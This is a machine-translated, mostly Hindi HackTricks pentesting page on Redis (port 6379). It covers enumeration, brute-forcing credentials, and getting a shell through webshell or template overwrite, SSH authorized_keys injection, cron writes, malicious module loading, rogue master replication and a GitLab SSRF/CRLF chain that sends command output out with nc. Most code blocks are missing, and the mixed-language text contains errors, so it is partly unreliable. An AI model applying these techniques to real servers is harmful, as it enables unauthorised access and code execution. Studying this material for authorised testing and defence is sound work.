6379 - Pentesting Redis
Last updated
Last updated
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!
Hacking Insights Engage with content that delves into the thrill and challenges of hacking
Real-Time Hack News Keep up-to-date with fast-paced hacking world through real-time news and insights
Latest Announcements Stay informed with the newest bug bounties launching and crucial platform updates
Join us on Discord and start collaborating with top hackers today!
From the docs: Redis एक ओपन सोर्स (BSD लाइसेंस प्राप्त), इन-मेमोरी डेटा संरचना भंडार है, जिसका उपयोग डेटाबेस, कैश और संदेश ब्रोकर के रूप में किया जाता है।
डिफ़ॉल्ट रूप से Redis एक प्लेन-टेक्स्ट आधारित प्रोटोकॉल का उपयोग करता है, लेकिन आपको यह ध्यान में रखना चाहिए कि यह ssl/tls को भी लागू कर सकता है। यहां ssl/tls के साथ Redis चलाने के बारे में जानें।
डिफ़ॉल्ट पोर्ट: 6379
कुछ स्वचालित उपकरण जो एक redis उदाहरण से जानकारी प्राप्त करने में मदद कर सकते हैं:
Redis एक पाठ आधारित प्रोटोकॉल है, आप बस सॉकेट में कमांड भेज सकते हैं और लौटाए गए मान पढ़ने योग्य होंगे। यह भी याद रखें कि Redis ssl/tls का उपयोग करके चल सकता है (लेकिन यह बहुत अजीब है)।
एक नियमित Redis उदाहरण में आप बस nc
का उपयोग करके कनेक्ट कर सकते हैं या आप redis-cli
का भी उपयोग कर सकते हैं:
पहला कमांड जिसे आप आजमा सकते हैं वह है info
। यह Redis उदाहरण की जानकारी के साथ आउटपुट वापस कर सकता है या कुछ इस तरह का आउटपुट लौटाया जा सकता है:
In this last case, this means that आपको मान्य क्रेडेंशियल्स की आवश्यकता है to access the Redis instance.
डिफ़ॉल्ट रूप से Redis को बिना क्रेडेंशियल्स के एक्सेस किया जा सकता है। हालांकि, इसे केवल पासवर्ड, या उपयोगकर्ता नाम + पासवर्ड का समर्थन करने के लिए कॉन्फ़िगर किया जा सकता है।
यह संभव है कि redis.conf फ़ाइल में requirepass
पैरामीटर के साथ एक पासवर्ड सेट करें या अस्थायी जब तक सेवा फिर से शुरू नहीं होती है, इसे कनेक्ट करके और चलाकर: config set requirepass p@ss$12E45
।
इसके अलावा, redis.conf फ़ाइल के अंदर masteruser
पैरामीटर में एक उपयोगकर्ता नाम कॉन्फ़िगर किया जा सकता है।
यदि केवल पासवर्ड कॉन्फ़िगर किया गया है तो उपयोगकर्ता नाम जोड़ा गया है "डिफ़ॉल्ट"। इसके अलावा, ध्यान दें कि यह बाहरी रूप से पता लगाने का कोई तरीका नहीं है कि क्या Redis को केवल पासवर्ड या उपयोगकर्ता नाम + पासवर्ड के साथ कॉन्फ़िगर किया गया था।
In cases like this one you will आपको मान्य क्रेडेंशियल्स खोजने की आवश्यकता होगी to interact with Redis so you could try to brute-force it. यदि आपने मान्य क्रेडेंशियल्स पाए हैं तो आपको सत्र को प्रमाणित करने की आवश्यकता है after establishing the connection with the command:
मान्य क्रेडेंशियल्स का उत्तर होगा: +OK
यदि Redis सर्वर गुमनाम कनेक्शन की अनुमति देता है या यदि आपने मान्य क्रेडेंशियल्स प्राप्त कर लिए हैं, तो आप निम्नलिखित कमांड्स का उपयोग करके सेवा के लिए गणना प्रक्रिया शुरू कर सकते हैं:
अन्य Redis कमांड यहां पाया जा सकता है और यहां.
ध्यान दें कि एक उदाहरण के Redis कमांड को नामित किया जा सकता है या redis.conf फ़ाइल में हटा दिया जा सकता है। उदाहरण के लिए, यह पंक्ति कमांड FLUSHDB को हटा देगी:
Redis सेवा को सुरक्षित रूप से कॉन्फ़िगर करने के बारे में अधिक जानकारी यहाँ है: https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04
आप monitor
कमांड के साथ निष्पादित Redis कमांड्स को वास्तविक समय में मॉनिटर कर सकते हैं या slowlog get 25
के साथ शीर्ष 25 सबसे धीमे क्वेरीज़ प्राप्त कर सकते हैं।
यहाँ अधिक Redis कमांड्स के बारे में और दिलचस्प जानकारी प्राप्त करें: https://lzone.de/cheat-sheet/Redis
Redis के अंदर डेटाबेस 0 से शुरू होने वाले नंबर हैं। आप देख सकते हैं कि क्या कोई भी info
कमांड के आउटपुट में "Keyspace" खंड के अंदर उपयोग किया गया है:
या आप बस सभी कीस्पेस (डेटाबेस) प्राप्त कर सकते हैं:
इस उदाहरण में डेटाबेस 0 और 1 का उपयोग किया जा रहा है। डेटाबेस 0 में 4 कीज़ हैं और डेटाबेस 1 में 1 है। डिफ़ॉल्ट रूप से Redis डेटाबेस 0 का उपयोग करेगा। उदाहरण के लिए डेटाबेस 1 के लिए डंप करने के लिए आपको करना होगा:
In case you get the following error -WRONGTYPE Operation against a key holding the wrong kind of value
while running GET <KEY>
इसका कारण यह हो सकता है कि कुंजी एक स्ट्रिंग या पूर्णांक के अलावा कुछ और हो और इसे प्रदर्शित करने के लिए एक विशेष ऑपरेटर की आवश्यकता होती है।
कुंजी के प्रकार को जानने के लिए, TYPE
कमांड का उपयोग करें, नीचे सूची और हैश कुंजी के लिए उदाहरण।
npm के साथ डेटाबेस डंप करें redis-dump या पायथन redis-utils
अनुभवी हैकर्स और बग बाउंटी शिकारियों के साथ संवाद करने के लिए HackenProof Discord सर्वर में शामिल हों!
हैकिंग अंतर्दृष्टि हैकिंग के रोमांच और चुनौतियों में गहराई से जाने वाले सामग्री के साथ संलग्न हों
वास्तविक समय हैक समाचार वास्तविक समय समाचार और अंतर्दृष्टियों के माध्यम से तेज़-तर्रार हैकिंग दुनिया के साथ अद्यतित रहें
नवीनतम घोषणाएँ नवीनतम बग बाउंटी लॉन्च और महत्वपूर्ण प्लेटफ़ॉर्म अपडेट के साथ सूचित रहें
आज ही Discord पर हमारे साथ जुड़ें और शीर्ष हैकर्स के साथ सहयोग करना शुरू करें!
redis-rogue-server स्वचालित रूप से Redis(<=5.0.5) में एक इंटरएक्टिव शेल या एक रिवर्स शेल प्राप्त कर सकता है।
यहाँ से जानकारी। आपको वेब साइट फ़ोल्डर का पथ पता होना चाहिए:
यदि वेबशेल एक्सेस अपवाद है, तो आप बैकअप के बाद डेटाबेस को खाली कर सकते हैं और फिर से प्रयास कर सकते हैं, याद रखें कि डेटाबेस को पुनर्स्थापित करना है।
जैसे पिछले अनुभाग में, आप कुछ html टेम्पलेट फ़ाइल को भी ओवरराइट कर सकते हैं जिसे एक टेम्पलेट इंजन द्वारा व्याख्यायित किया जाएगा और एक शेल प्राप्त कर सकते हैं।
उदाहरण के लिए, इस लेख का पालन करते हुए, आप देख सकते हैं कि हमलावर ने nunjucks टेम्पलेट इंजन द्वारा व्याख्यायित एक html में rev shell इंजेक्ट किया:
ध्यान दें कि कई टेम्पलेट इंजन टेम्पलेट्स को मेमोरी में कैश करते हैं, इसलिए यदि आप उन्हें ओवरराइट करते हैं, तो नया निष्पादित नहीं होगा। इन मामलों में, या तो डेवलपर ने स्वचालित पुनः लोड सक्रिय रखा है या आपको सेवा पर DoS करना होगा (और उम्मीद करनी होगी कि इसे स्वचालित रूप से फिर से लॉन्च किया जाएगा)।
उदाहरण यहां से
कृपया ध्यान दें कि config get dir
का परिणाम अन्य मैन्युअल रूप से शोषण कमांड के बाद बदल सकता है। सुझाव है कि इसे Redis में लॉगिन करने के तुरंत बाद पहले चलाएं। config get dir
के आउटपुट में आप redis उपयोगकर्ता का home पा सकते हैं (आमतौर पर /var/lib/redis या /home/redis/.ssh) और इसे जानकर आप जानते हैं कि आप authenticated_users
फ़ाइल को ssh उपयोगकर्ता redis के माध्यम से एक्सेस करने के लिए कहां लिख सकते हैं। यदि आप अन्य मान्य उपयोगकर्ता का home जानते हैं जहां आपके पास लिखने की अनुमति है, तो आप इसका भी दुरुपयोग कर सकते हैं:
अपने पीसी पर एक ssh सार्वजनिक-निजी कुंजी जोड़ी उत्पन्न करें: ssh-keygen -t rsa
सार्वजनिक कुंजी को एक फ़ाइल में लिखें: (echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt
फ़ाइल को redis में आयात करें: cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key
Redis सर्वर पर authorized_keys फ़ाइल में सार्वजनिक कुंजी को सहेजें:
अंत में, आप निजी कुंजी के साथ redis सर्वर पर ssh कर सकते हैं: ssh -i id_rsa redis@10.85.0.52
यह तकनीक यहां स्वचालित है: https://github.com/Avinash-acid/Redis-Server-Exploit
The last example is for Ubuntu, for Centos, the above command should be: redis-cli -h 10.85.0.52 config set dir /var/spool/cron/
This method can also be used to earn bitcoin :yam
Following the instructions from https://github.com/n0b0dyCN/RedisModules-ExecuteCommand you can compile a redis module to execute arbitrary commands.
Then you need some way to upload the compiled module
Load the uploaded module at runtime with MODULE LOAD /path/to/mymodule.so
List loaded modules to check it was correctly loaded: MODULE LIST
Execute commands:
Unload the module whenever you want: MODULE UNLOAD mymodule
यहाँ आप देख सकते हैं कि Redis EVAL कमांड का उपयोग करता है Lua कोड को सैंडबॉक्स में निष्पादित करने के लिए। लिंक किए गए पोस्ट में आप देख सकते हैं इसे कैसे दुरुपयोग करें dofile फ़ंक्शन का उपयोग करके, लेकिन स्पष्ट रूप से यह अब संभव नहीं है। किसी भी तरह, यदि आप Lua सैंडबॉक्स को बायपास कर सकते हैं तो आप सिस्टम पर मनमाने कमांड निष्पादित कर सकते हैं। इसके अलावा, उसी पोस्ट से आप कुछ विकल्प देख सकते हैं जो DoS का कारण बनते हैं।
कुछ CVEs LUA से बचने के लिए:
मास्टर redis सभी ऑपरेशन स्वचालित रूप से स्लेव redis पर समन्वयित होते हैं, जिसका अर्थ है कि हम कमजोर redis को एक स्लेव redis के रूप में मान सकते हैं, जो मास्टर redis से जुड़ा है जिसे हम नियंत्रित करते हैं, फिर हम अपने redis में कमांड दर्ज कर सकते हैं।
यदि आप स्पष्ट पाठ अनुरोध Redis को भेज सकते हैं, तो आप इसके साथ संवाद कर सकते हैं क्योंकि Redis अनुरोध को पंक्ति दर पंक्ति पढ़ेगा और केवल उन पंक्तियों के लिए त्रुटियों के साथ प्रतिक्रिया देगा जिन्हें वह नहीं समझता:
इसलिए, यदि आप एक वेबसाइट में SSRF vuln पाते हैं और आप कुछ headers (शायद एक CRLF vuln के साथ) या POST parameters को control कर सकते हैं, तो आप Redis को मनमाने कमांड भेजने में सक्षम होंगे।
Gitlab11.4.7 में एक SSRF सुरक्षा कमजोरी और एक CRLF खोजी गई। SSRF सुरक्षा कमजोरी नया प्रोजेक्ट बनाने के लिए URL से प्रोजेक्ट आयात करने की कार्यक्षमता में थी और इसने [0:0:0:0:0:ffff:127.0.0.1] के रूप में मनमाने IPs तक पहुंचने की अनुमति दी (यह 127.0.0.1 तक पहुंचता है), और CRLF vuln का लाभ उठाने के लिए बस URL में %0D%0A वर्ण जोड़ना था।
इसलिए, gitlab से queues को manage करने वाले Redis उदाहरण से बात करने के लिए इन कमजोरियों का दुरुपयोग करना संभव था और उन queues का दुरुपयोग करके कोड निष्पादन प्राप्त करना। Redis queue दुरुपयोग payload है:
और URL encode अनुरोध SSRF और CRLF का दुरुपयोग करके whoami
निष्पादित करने और आउटपुट को nc
के माध्यम से वापस भेजने का है:
किसी कारण से (जैसा कि https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/ से लिया गया है) शोषण git
स्कीम के साथ काम करता है और http
स्कीम के साथ नहीं।
Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!
Hacking Insights Engage with content that delves into the thrill and challenges of hacking
Real-Time Hack News Keep up-to-date with fast-paced hacking world through real-time news and insights
Latest Announcements Stay informed with the newest bug bounties launching and crucial platform updates
Join us on Discord and start collaborating with top hackers today!
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)